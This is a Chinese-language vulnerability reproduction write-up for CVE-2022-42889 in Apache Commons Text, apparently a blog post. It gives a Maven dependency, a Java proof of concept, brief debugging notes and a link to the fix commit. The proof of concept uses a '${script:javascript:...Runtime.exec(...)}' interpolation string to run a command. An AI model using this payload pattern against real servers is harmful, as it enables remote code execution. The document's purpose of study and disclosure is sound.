CVE-2022-42889 Apache Commons Text【漏洞复现】

0x00 影响范围

在Apache Commons Text 1.5 ~1.9 版本中,攻击者可构造恶意文本,使得Apache Commons Text 在解析时执行任意代码,控制服务器。

0x01 POC

pom.xml

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-text</artifactId>
            <version>1.9</version>
</dependency>

poc.java

import org.apache.commons.text.StringSubstitutor;
public class A {
    public static void main(String[] args) {
        StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
        String str1 = "${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\");}";
        String str="PoC Output: ${script:javascript:195 + 324}";
        String output = stringSubstitutor.replace(str);
        System.out.println(output);
    }
}

0x02 调试

 

 

点一下左侧的箭头,先查看下接口,有很多

 

在上一步调试跟进看看进了哪个实现类

==》ScriptStringLookup

 

到这里就差不多了,如果感兴趣 eval 的实现,可以继续调试:

查找属性 “javax.script.filename” 如果没有此属性,返回 <eval> 标签:

 

 

...... 

0x03 修复

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值